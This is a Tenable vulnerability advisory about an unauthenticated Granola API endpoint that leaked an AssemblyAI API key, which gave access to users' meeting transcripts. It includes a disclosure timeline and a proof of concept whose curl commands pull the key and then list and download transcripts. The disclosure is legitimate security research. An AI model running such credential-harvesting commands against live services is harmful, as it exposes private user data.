Facebook Google Plus Twitter LinkedIn YouTube RSS Menu Search Resource - BlogResource - WebinarResource - ReportResource - Eventicons_066 icons_067icons_068icons_069icons_070

Granola API Endpoint Information Disclosure

Medium

Synopsis

A vulnerability has been discovered in Granola that allows for information disclosure.

 

The Granola app is an electron app for Mac and can be unpacked via asar extract Granola.app/Contents/Resources/app.asar _app.asar

 

Some of the javascript contains a list of api endpoints.

_app.asar/dist-app/assets/index-DBfOBT0v.js

_app.asar/dist-electron/main/index.js

 

One of those endpoints, "get-feature-flags," returns data without authentication. This includes a value called "assembly_key." References to AssemblyAI, a backend providing transcription services, were also observed in the electron app. Using that key, it’s possible to download transcripts of audio assumedly recorded via the Granola AI app. Note the transcript data includes links to recordings but those did not appear to be accessible, only text representation. 

Proof of Concept

# Get Assembly AI API key
curl -X POST "https://api.granola.ai/v1/get-feature-flags" \
 -H "X-Client-Version: 5.226.0" \
 -H "Content-Type: application/json" | jq '.[] | select(.feature=="assembly_key")'
# Get transcript IDs
curl https://api.assemblyai.com/v2/transcript \
    -H "Authorization: $apiKey" | jq '.transcripts.[].id' > assembly_ai_transcript_ids
cat assembly_ai_transcript_ids | head -n 1 | tr -d '"' | while read line; do curl https://api.assemblyai.com/v2/transcript/$line -H "Authorization: $apiKey"; done

Solution

Granola has disabled the API key and removed it from the feature-flags endpoint.

Disclosure Timeline

February 18, 2025: Requested disclosure contact from vendor.
February 26, 2025: Second request for disclosure contact from vendor.
March 10, 2025: Granola responds with contact.
March 11, 2025: Tenable sends disclosure information.
March 11, 2025: Granola responds that issues have been addressed.

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Risk Information

Tenable Advisory ID: TRA-2025-07
Credit:
Ben Smith
Affected Products:
Granola
Risk Factor:
Medium

Advisory Timeline

March 12, 2025 - Initial release.